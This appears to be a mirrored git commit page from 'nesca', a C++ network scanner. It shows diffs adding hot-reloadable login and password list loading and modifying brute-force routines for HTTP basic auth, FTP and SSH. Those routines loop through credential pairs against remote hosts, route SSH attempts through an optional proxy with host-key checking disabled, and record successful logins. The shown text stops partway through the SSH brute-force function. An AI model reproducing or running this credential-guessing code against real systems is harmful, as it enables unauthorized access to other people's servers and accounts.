mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-11-23 18:52:19 +00:00
Merge branch 'master' of http://git.d3w.org/cora32/nesca
Conflicts: .gitignore BasicAuth.cpp FTPAuth.cpp SSHAuth.cpp Threader.cpp WebformWorker.cpp WebformWorker.h externData.h externFunctions.h finder.cpp nesca.pro nesca_3.cpp nesca_startModule.cpp qrc_nesca_3.cpp vercheckerthread.cpp
This commit is contained in:
commit
c998739994
2
.gitignore
vendored
2
.gitignore
vendored
@ -40,3 +40,5 @@ result_files-*
|
||||
nesca
|
||||
moc_*
|
||||
*~
|
||||
*.user
|
||||
Makefile
|
||||
|
@ -1,4 +1,5 @@
|
||||
#include "BasicAuth.h"
|
||||
#include "FileUpdater.h"
|
||||
|
||||
bool BA::checkOutput(const string *buffer, const char *ip, const int port) {
|
||||
if((Utils::ci_find_substr(*buffer, "200 ok") != -1 ||
|
||||
@ -36,12 +37,13 @@ lopaStr BA::BABrute(const char *ip, const int port) {
|
||||
ZeroMemory(lps.login, sizeof(lps.login));
|
||||
ZeroMemory(lps.pass, sizeof(lps.pass));
|
||||
ZeroMemory(lps.other, sizeof(lps.other));
|
||||
int passCounter = 0;
|
||||
int passCounter = 0;
|
||||
|
||||
strcpy(lps.login, "UNKNOWN");
|
||||
|
||||
for(int i = 0; i < MaxLogin; ++i) {
|
||||
for (int j = 0; j < MaxPass; ++j) {
|
||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
|
||||
if (!globalScanFlag) return lps;
|
||||
|
||||
lpString = string(loginLst[i]) + ":" + string(passLst[j]);
|
||||
@ -55,7 +57,7 @@ lopaStr BA::BABrute(const char *ip, const int port) {
|
||||
};
|
||||
|
||||
if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) +
|
||||
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
|
||||
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
|
||||
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
||||
|
||||
Sleep(100);
|
||||
|
18
FTPAuth.cpp
18
FTPAuth.cpp
@ -1,4 +1,5 @@
|
||||
#include "FTPAuth.h"
|
||||
#include "FileUpdater.h"
|
||||
|
||||
bool FTPA::checkOutput(const string *buffer) {
|
||||
if(Utils::ci_find_substr(*buffer, "230") != -1) {
|
||||
@ -21,30 +22,39 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
|
||||
int res = 0;
|
||||
int passCounter = 0;
|
||||
|
||||
char login[128] = {0};
|
||||
char pass[32] = {0};
|
||||
|
||||
for(int i = 0; i < MaxLogin; ++i)
|
||||
{
|
||||
if(!globalScanFlag) return lps;
|
||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
|
||||
if(strlen(loginLst[i]) <= 1) continue;
|
||||
|
||||
strcpy(login, loginLst[i]);
|
||||
|
||||
for(int j = 0; j < MaxPass; ++j)
|
||||
{
|
||||
if(!globalScanFlag) return lps;
|
||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;});
|
||||
if(strlen(passLst[j]) <= 1) continue;
|
||||
|
||||
lpString = string(loginLst[i]) + ":" + string(passLst[j]);
|
||||
strcpy(pass, passLst[j]);
|
||||
|
||||
lpString = string(login) + ":" + string(pass);
|
||||
|
||||
res = Connector::nConnect((string("ftp://") + string(ip)).c_str(), port, &buffer, NULL, NULL, &lpString);
|
||||
if (res == -2) return lps;
|
||||
else if (res != -1) {
|
||||
if (!globalScanFlag) return lps;
|
||||
strcpy(lps.login, loginLst[i]);
|
||||
strcpy(lps.pass, passLst[j]);
|
||||
strcpy(lps.login, login);
|
||||
strcpy(lps.pass, pass);
|
||||
ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n');
|
||||
return lps;
|
||||
};
|
||||
|
||||
if (BALogSwitched) stt->doEmitionBAData("FTP: " + QString(ip) + ":" + QString::number(port) +
|
||||
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
|
||||
"; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
||||
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
||||
|
||||
Sleep(100);
|
||||
|
461
FileUpdater.cpp
Normal file
461
FileUpdater.cpp
Normal file
@ -0,0 +1,461 @@
|
||||
#include "FileUpdater.h"
|
||||
#include "STh.h"
|
||||
#include "mainResources.h"
|
||||
|
||||
long FileUpdater::oldNegLstSize = 0;
|
||||
long FileUpdater::oldLoginLstSize = 0;
|
||||
long FileUpdater::oldPassLstSize = 0;
|
||||
long FileUpdater::oldSSHLstSize = 0;
|
||||
long FileUpdater::oldWFLoginLstSize = 0;
|
||||
long FileUpdater::oldWFPassLstSize = 0;
|
||||
std::mutex FileUpdater::filesUpdatingMutex;
|
||||
std::condition_variable FileUpdater::cv;
|
||||
bool FileUpdater::ready = false;
|
||||
std::unique_lock<std::mutex> FileUpdater::lk;
|
||||
|
||||
void ReadUTF8(FILE* nFile, char *cp) {
|
||||
char buffFG[256] = {0};
|
||||
int i = 0;
|
||||
GlobalNegativeSize = 0;
|
||||
|
||||
if(nFile != NULL)
|
||||
{
|
||||
while(fgets((char*)buffFG, sizeof(buffFG), nFile) != NULL)
|
||||
{
|
||||
if(buffFG[0] != '#' && buffFG[0] != ' ' && buffFG[0] != '\n' && buffFG[0] != '\r' && strcmp(buffFG, "") != 0 &&
|
||||
((buffFG[0] == '/' && buffFG[1] == '/') == false) && ((buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == 13 || buffFG[3] == 10 || buffFG[3] == '#')) == false)
|
||||
&& (buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == '/' && buffFG[4] == '/')) == false)
|
||||
{
|
||||
++GlobalNegativeSize;
|
||||
}
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(nFile);
|
||||
if(strcmp(cp, "UTF") == 0) fseek(nFile, 3, 0);
|
||||
|
||||
GlobalNegatives = new char*[GlobalNegativeSize + 2];
|
||||
|
||||
while(fgets(buffFG, sizeof(buffFG), nFile) != NULL)
|
||||
{
|
||||
if(buffFG[0] == '#' || buffFG[0] == ' ' || buffFG[0] == '\n' || buffFG[0] == '\r' || strcmp(buffFG, "") == 0 ||
|
||||
(buffFG[0] == '/' && buffFG[1] == '/'))
|
||||
{
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
continue;
|
||||
};
|
||||
|
||||
if(buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t')
|
||||
{
|
||||
char buffFGT[256] = {0};
|
||||
strcpy(buffFGT, buffFG);
|
||||
char *ptr1 = strstr(buffFGT, "\t\t\t");
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
strcpy(buffFG, ptr1 + 3);
|
||||
};
|
||||
|
||||
int bSz = strlen(buffFG);
|
||||
if((bSz == 2 && buffFG[0] == 13 && buffFG[1] == 10) || (bSz == 1 && (buffFG[0] == 13 || buffFG[0] == 10)))
|
||||
{
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
continue;
|
||||
};
|
||||
if(buffFG[bSz] == 13 || buffFG[bSz] == 10)
|
||||
{
|
||||
buffFG[bSz] = '\0';
|
||||
};
|
||||
if(buffFG[bSz - 1] == 13 || buffFG[bSz - 1] == 10)
|
||||
{
|
||||
buffFG[bSz - 1] = '\0';
|
||||
};
|
||||
if(buffFG[bSz - 2] == 13 || buffFG[bSz - 2] == 10)
|
||||
{
|
||||
buffFG[bSz - 2] = '\0';
|
||||
};
|
||||
|
||||
if(strstr((char*)buffFG, "\n") != 0)
|
||||
{
|
||||
std::string res;
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
res = xcode(buffFG, CP_UTF8, CP_ACP);
|
||||
#else
|
||||
res = std::string(buffFG);
|
||||
#endif
|
||||
int sz = res.size();
|
||||
GlobalNegatives[i] = new char[sz + 1];
|
||||
ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i]));
|
||||
memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz - 1);
|
||||
memset(GlobalNegatives[i] + sz - 1, '\0', 1);
|
||||
++i;
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string res;
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
res = xcode(buffFG, CP_UTF8, CP_ACP);
|
||||
#else
|
||||
res = std::string(buffFG);
|
||||
#endif
|
||||
int sz = res.size();
|
||||
GlobalNegatives[i] = new char[sz + 1];
|
||||
ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i]));
|
||||
memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz);
|
||||
memset(GlobalNegatives[i] + sz, '\0', 1);
|
||||
++i;
|
||||
};
|
||||
|
||||
unsigned char buffcpy2[256] = {0};
|
||||
int sz = strlen((char*)buffFG);
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
strncpy((char*)buffcpy2, xcode(buffFG, CP_ACP, CP_UTF8).c_str(), sz);
|
||||
#else
|
||||
strncpy((char*)buffcpy2, buffFG, sz);
|
||||
#endif
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
if(FileUpdater::oldNegLstSize == 0) stt->doEmitionGreenFoundData("Negative list loaded (" + QString::number(GlobalNegativeSize) + " entries)");
|
||||
else stt->doEmitionFoundData("<font color=\"Pink\">Negative list updated (" + QString::number(GlobalNegativeSize) + " entries)</font>");
|
||||
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
fclose(nFile);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No negative list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
}
|
||||
|
||||
void negativeLoader() {
|
||||
FILE *nFile = fopen("negatives.txt", "rb");
|
||||
|
||||
if( nFile != NULL)
|
||||
{
|
||||
unsigned char b[3] = {0};
|
||||
fread(b,1,2, nFile);
|
||||
if( b[0] == 0xEF && b[1] == 0xBB)
|
||||
{
|
||||
fread(b,1,1,nFile); // 0xBF
|
||||
ReadUTF8(nFile, "UTF");
|
||||
}
|
||||
else
|
||||
{
|
||||
rewind(nFile);
|
||||
ReadUTF8(nFile, "1251");
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
void *updateNegatives() {
|
||||
if(GlobalNegatives != NULL)
|
||||
{
|
||||
for(int i = 0; i < GlobalNegativeSize; ++i) delete []GlobalNegatives[i];
|
||||
delete []GlobalNegatives;
|
||||
GlobalNegatives = NULL;
|
||||
};
|
||||
|
||||
negativeLoader();
|
||||
}
|
||||
void *updateLogin() {
|
||||
|
||||
if(loginLst != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxLogin; ++i) delete []loginLst[i];
|
||||
delete []loginLst;
|
||||
loginLst = NULL;
|
||||
};
|
||||
|
||||
MaxLogin = 0;
|
||||
|
||||
char buffFG[32] = {0};
|
||||
|
||||
FILE *loginList = fopen("login.txt", "r");
|
||||
|
||||
if(loginList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, loginList) != NULL)
|
||||
{
|
||||
MaxLogin++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(loginList);
|
||||
|
||||
loginLst = new char*[MaxLogin];
|
||||
|
||||
for(int j = 0; j < MaxLogin; j++)
|
||||
{
|
||||
loginLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while(fgets(buffFG, 32, loginList) != NULL)
|
||||
{
|
||||
memset(loginLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(loginLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
if(FileUpdater::oldLoginLstSize == 0) stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)");
|
||||
else stt->doEmitionFoundData("<font color=\"Pink\">Login list updated (" + QString::number(MaxLogin) + " entries)</font>");
|
||||
|
||||
fclose(loginList);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No login list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
}
|
||||
void *updatePass() {
|
||||
|
||||
if(passLst != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxPass; ++i) delete []passLst[i];
|
||||
delete []passLst;
|
||||
passLst = NULL;
|
||||
};
|
||||
|
||||
MaxPass = 0;
|
||||
|
||||
char buffFG[32] = {0};
|
||||
|
||||
FILE *passList = fopen("pass.txt", "r");
|
||||
|
||||
if(passList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, passList) != NULL)
|
||||
{
|
||||
MaxPass++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(passList);
|
||||
|
||||
passLst = new char*[MaxPass];
|
||||
|
||||
for(int j = 0; j < MaxPass; j++)
|
||||
{
|
||||
passLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while(fgets(buffFG, 32, passList) != NULL)
|
||||
{
|
||||
memset(passLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(passLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
if(FileUpdater::oldPassLstSize == 0) stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)");
|
||||
else stt->doEmitionFoundData("<font color=\"Pink\">Password list updated (" + QString::number(MaxPass) + " entries)</font>");
|
||||
|
||||
fclose(passList);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No password list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
}
|
||||
void *updateSSH() {
|
||||
|
||||
if(sshlpLst != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxSSHPass; ++i) delete []sshlpLst[i];
|
||||
delete []sshlpLst;
|
||||
sshlpLst = NULL;
|
||||
};
|
||||
|
||||
MaxSSHPass = 0;
|
||||
|
||||
char buffFG[32] = {0};
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
FILE *sshlpList = fopen("sshpass.txt", "r");
|
||||
|
||||
if(sshlpList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, sshlpList) != NULL)
|
||||
{
|
||||
++MaxSSHPass;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(sshlpList);
|
||||
|
||||
sshlpLst = new char*[MaxSSHPass];
|
||||
|
||||
for(int j = 0; j < MaxSSHPass; j++)
|
||||
{
|
||||
sshlpLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while(fgets(buffFG, 32, sshlpList) != NULL)
|
||||
{
|
||||
memset(sshlpLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(sshlpLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
if(FileUpdater::oldSSHLstSize == 0) stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)");
|
||||
else stt->doEmitionFoundData("<font color=\"Pink\">SSH list updated (" + QString::number(MaxSSHPass) + " entries)</font>");
|
||||
|
||||
fclose(sshlpList);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No password/login list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
}
|
||||
void *updateWFLogin() {
|
||||
|
||||
if(wfLoginLst != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxWFLogin; ++i) delete []wfLoginLst[i];
|
||||
delete []wfLoginLst;
|
||||
wfLoginLst = NULL;
|
||||
};
|
||||
|
||||
MaxWFLogin = 0;
|
||||
|
||||
char buffFG[32] = {0};
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
FILE *wfLoginList = fopen("wflogin.txt", "r");
|
||||
|
||||
if(wfLoginList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, wfLoginList) != NULL)
|
||||
{
|
||||
MaxWFLogin++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(wfLoginList);
|
||||
|
||||
wfLoginLst = new char*[MaxWFLogin];
|
||||
|
||||
for(int j = 0; j < MaxWFLogin; j++)
|
||||
{
|
||||
wfLoginLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while(fgets(buffFG, 32, wfLoginList) != NULL)
|
||||
{
|
||||
memset(wfLoginLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(wfLoginLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
if(FileUpdater::oldWFLoginLstSize == 0) stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)");
|
||||
else stt->doEmitionFoundData("<font color=\"Pink\">WFLogin list updated (" + QString::number(MaxWFLogin) + " entries)</font>");
|
||||
|
||||
fclose(wfLoginList);
|
||||
}
|
||||
}
|
||||
void *updateWFPass() {
|
||||
|
||||
if(wfPassLst != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxWFPass; ++i) delete []wfPassLst[i];
|
||||
delete []wfPassLst;
|
||||
wfPassLst = NULL;
|
||||
};
|
||||
|
||||
MaxWFPass = 0;
|
||||
|
||||
char buffFG[32] = {0};
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
FILE *wfPassList = fopen("wfpass.txt", "r");
|
||||
|
||||
if(wfPassList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, wfPassList) != NULL)
|
||||
{
|
||||
MaxWFPass++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(wfPassList);
|
||||
|
||||
wfPassLst = new char*[MaxWFPass];
|
||||
|
||||
for(int j = 0; j < MaxWFPass; j++)
|
||||
{
|
||||
wfPassLst[j] = new char[32];
|
||||
};
|
||||
|
||||
int i = 0;
|
||||
while(fgets(buffFG, 32, wfPassList) != NULL)
|
||||
{
|
||||
memset(wfPassLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(wfPassLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
if(FileUpdater::oldWFPassLstSize == 0) stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)");
|
||||
else stt->doEmitionFoundData("<font color=\"Pink\">WFPassword list updated (" + QString::number(MaxWFPass) + " entries)</font>");
|
||||
|
||||
fclose(wfPassList);
|
||||
}
|
||||
}
|
||||
|
||||
long getFileSize(const char *fileName) {
|
||||
std::ifstream in(fileName, std::ifstream::ate | std::ifstream::binary);
|
||||
return in.tellg();
|
||||
}
|
||||
|
||||
void updateList(const char *fileName, long *szPtr, void *funcPtr(void)) {
|
||||
long sz = getFileSize(fileName);
|
||||
|
||||
if(sz != *szPtr) {
|
||||
FileUpdater::lk = std::unique_lock<std::mutex> (FileUpdater::filesUpdatingMutex);
|
||||
funcPtr();
|
||||
*szPtr = sz;
|
||||
FileUpdater::lk.unlock();
|
||||
FileUpdater::ready = true;
|
||||
FileUpdater::cv.notify_one();
|
||||
}
|
||||
}
|
||||
|
||||
int FileUpdater::updateLists() {
|
||||
while(globalScanFlag) {
|
||||
Sleep(60000);
|
||||
if(!globalScanFlag) break;
|
||||
loadOnce();
|
||||
}
|
||||
}
|
||||
|
||||
int FileUpdater::loadOnce() {
|
||||
updateList("negatives.txt", &oldNegLstSize, updateNegatives);
|
||||
updateList("login.txt", &oldLoginLstSize, updateLogin);
|
||||
updateList("pass.txt", &oldPassLstSize, updatePass);
|
||||
updateList("sshpass.txt", &oldSSHLstSize, updateSSH);
|
||||
updateList("wflogin.txt", &oldWFLoginLstSize, updateWFLogin);
|
||||
updateList("wfpass.txt", &oldWFPassLstSize, updateWFPass);
|
||||
}
|
||||
|
||||
void FileUpdater::FUClear() {
|
||||
oldNegLstSize = 0;
|
||||
oldLoginLstSize = 0;
|
||||
oldPassLstSize = 0;
|
||||
oldSSHLstSize = 0;
|
||||
oldWFLoginLstSize = 0;
|
||||
oldWFPassLstSize = 0;
|
||||
}
|
33
FileUpdater.h
Normal file
33
FileUpdater.h
Normal file
@ -0,0 +1,33 @@
|
||||
#ifndef FILEUPDATER_H
|
||||
#define FILEUPDATER_H
|
||||
|
||||
#ifndef Sleep
|
||||
#define Sleep(msecs) usleep((msecs)*1000)
|
||||
#endif
|
||||
|
||||
#include <fstream>
|
||||
#include <mutex>
|
||||
#include <condition_variable>
|
||||
#include "externData.h"
|
||||
#include "externFunctions.h"
|
||||
|
||||
class FileUpdater {
|
||||
public:
|
||||
static long oldNegLstSize;
|
||||
static long oldLoginLstSize;
|
||||
static long oldPassLstSize;
|
||||
static long oldSSHLstSize;
|
||||
static long oldWFLoginLstSize;
|
||||
static long oldWFPassLstSize;
|
||||
static bool ready;
|
||||
static std::condition_variable cv;
|
||||
static std::mutex filesUpdatingMutex;
|
||||
static std::unique_lock<std::mutex> lk;
|
||||
|
||||
public:
|
||||
static int updateLists();
|
||||
static int loadOnce();
|
||||
static void FUClear();
|
||||
};
|
||||
|
||||
#endif // FILEUPDATER_H
|
151
SSHAuth.cpp
151
SSHAuth.cpp
@ -1,52 +1,97 @@
|
||||
#include "SSHAuth.h"
|
||||
#include "FileUpdater.h"
|
||||
|
||||
int _sshConnect(char *user, char *pass, const char *host, int port)
|
||||
{
|
||||
int _sshConnect(const char *user, const char *pass, const char *host, int port) {
|
||||
|
||||
CURL *curl = curl_easy_init();
|
||||
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 0L);
|
||||
char hostStr[128] = {0};
|
||||
ZeroMemory(hostStr, sizeof(hostStr));
|
||||
strcpy(hostStr, user);
|
||||
strcat(hostStr, "@");
|
||||
strcat(hostStr, host);
|
||||
|
||||
ssh_session my_ssh_session = ssh_new();
|
||||
if (my_ssh_session == NULL)
|
||||
{
|
||||
ssh_free(my_ssh_session);
|
||||
return -1;
|
||||
};
|
||||
|
||||
ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr);
|
||||
ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port);
|
||||
int sshTimeout = gTimeOut + 1;
|
||||
ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout);
|
||||
|
||||
int rc = ssh_connect(my_ssh_session);
|
||||
|
||||
if (rc != SSH_OK)
|
||||
if (curl)
|
||||
{
|
||||
ssh_disconnect(my_ssh_session);
|
||||
ssh_free(my_ssh_session);
|
||||
++offlines;
|
||||
return -2;
|
||||
curl_easy_setopt(curl, CURLOPT_URL, host);
|
||||
curl_easy_setopt(curl, CURLOPT_PORT, port);
|
||||
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
|
||||
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
|
||||
int proxyPort = std::atoi(gProxyPort);
|
||||
if(strlen(gProxyIP) != 0 && (proxyPort > 0 && proxyPort < 65535)) {
|
||||
curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP);
|
||||
curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort);
|
||||
} else {
|
||||
curl_easy_setopt(curl, CURLOPT_PROXY, "");
|
||||
}
|
||||
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
|
||||
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut);
|
||||
curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 1L);
|
||||
|
||||
int res = curl_easy_perform(curl);
|
||||
|
||||
socket_t sock;
|
||||
curl_easy_getinfo(curl, CURLINFO_LASTSOCKET, &sock);
|
||||
|
||||
if(res != CURLE_OK) {
|
||||
curl_easy_cleanup(curl);
|
||||
++ssh;
|
||||
stt->doEmitionRedFoundData("[SSH]Cannot connect to: " + QString(host) + ":" + QString::number(port));
|
||||
return 0;
|
||||
}
|
||||
|
||||
if(sock != -1) {
|
||||
ssh_session ssh_session = ssh_new();
|
||||
if (ssh_session == NULL)
|
||||
{
|
||||
ssh_free(ssh_session);
|
||||
curl_easy_cleanup(curl);
|
||||
return -1;
|
||||
};
|
||||
|
||||
ssh_options_set(ssh_session, SSH_OPTIONS_STRICTHOSTKEYCHECK, 0);
|
||||
ssh_options_set(ssh_session, SSH_OPTIONS_GSSAPI_DELEGATE_CREDENTIALS, 0);
|
||||
ssh_options_set(ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout);
|
||||
|
||||
//Fails to work on libssh-4.5 https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=688700
|
||||
res = ssh_options_set(ssh_session, SSH_OPTIONS_FD, &sock);
|
||||
|
||||
res = ssh_connect(ssh_session);
|
||||
|
||||
if (res != SSH_OK) //Offline
|
||||
{
|
||||
ssh_disconnect(ssh_session);
|
||||
ssh_free(ssh_session);
|
||||
curl_easy_cleanup(curl);
|
||||
++offlines;
|
||||
return -2;
|
||||
}
|
||||
else
|
||||
{
|
||||
res = ssh_userauth_password(ssh_session, NULL, pass);
|
||||
if (res != SSH_AUTH_SUCCESS)
|
||||
{
|
||||
ssh_disconnect(ssh_session);
|
||||
ssh_free(ssh_session);
|
||||
curl_easy_cleanup(curl);
|
||||
return -1;
|
||||
};
|
||||
};
|
||||
|
||||
ssh_disconnect(ssh_session);
|
||||
ssh_free(ssh_session);
|
||||
} else {
|
||||
stt->doEmitionRedFoundData("[SSH]Socket = -1 " + QString(host) + ":" + QString::number(port));
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
rc = ssh_userauth_password(my_ssh_session, NULL, pass);
|
||||
if (rc != SSH_AUTH_SUCCESS)
|
||||
{
|
||||
ssh_disconnect(my_ssh_session);
|
||||
ssh_free(my_ssh_session);
|
||||
return -1;
|
||||
};
|
||||
};
|
||||
ssh_disconnect(my_ssh_session);
|
||||
ssh_free(my_ssh_session);
|
||||
|
||||
curl_easy_cleanup(curl);
|
||||
++ssh;
|
||||
return 0;
|
||||
}
|
||||
|
||||
char _get_ssh_banner(const char *ip, int port)
|
||||
{
|
||||
char _get_ssh_banner(const char *ip, int port) {
|
||||
char recvBuff[256] = {0};
|
||||
std::string buffer;
|
||||
Connector::nConnect(ip, port, &buffer);
|
||||
@ -61,14 +106,17 @@ char _get_ssh_banner(const char *ip, int port)
|
||||
return *recvBuff;
|
||||
}
|
||||
|
||||
int check_ssh_pass(char *user, char *pass, char *userPass, const char *host, int port, std::string *buffer, const char *banner)
|
||||
{
|
||||
int check_ssh_pass(const char *user, const char *pass,
|
||||
const char *userPass, const char *host, int port,
|
||||
std::string *buffer, const char *banner) {
|
||||
int res = -1;
|
||||
if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port));
|
||||
if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(userPass) + "@" + QString(host) + ":" + QString::number(port));
|
||||
|
||||
res = _sshConnect(user, pass, host, port);
|
||||
|
||||
if(res == 0)
|
||||
{
|
||||
stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host));
|
||||
stt->doEmition_BAGreenData("[+] SSH: " + QString(userPass) + "@" + QString(host));
|
||||
buffer->append(userPass);
|
||||
buffer->append("@");
|
||||
buffer->append(host);
|
||||
@ -76,16 +124,14 @@ int check_ssh_pass(char *user, char *pass, char *userPass, const char *host, int
|
||||
buffer->append(banner);
|
||||
return 0;
|
||||
};
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
int SSHBrute(const char* host, int port, std::string *buffer, const char *banner)
|
||||
{
|
||||
int SSHBrute(const char* host, int port, std::string *buffer, const char *banner) {
|
||||
char login[32] = {0};
|
||||
char pass[32] = {0};
|
||||
char temp[64] = {0};
|
||||
BruteUtils::BConInc();
|
||||
int sz = 0;
|
||||
char *ptr1 = 0;
|
||||
int res = -1;
|
||||
|
||||
@ -94,12 +140,13 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
|
||||
if(!globalScanFlag) break;
|
||||
strcpy(temp, sshlpLst[i]);
|
||||
ptr1 = strstr(temp, ":");
|
||||
if (ptr1 == NULL) {
|
||||
stt->doEmitionRedFoundData("[SSH]Wrong format: " + QString(temp));
|
||||
return -1;
|
||||
}
|
||||
sz = ptr1 - temp;
|
||||
strncpy(login, temp, sz);
|
||||
|
||||
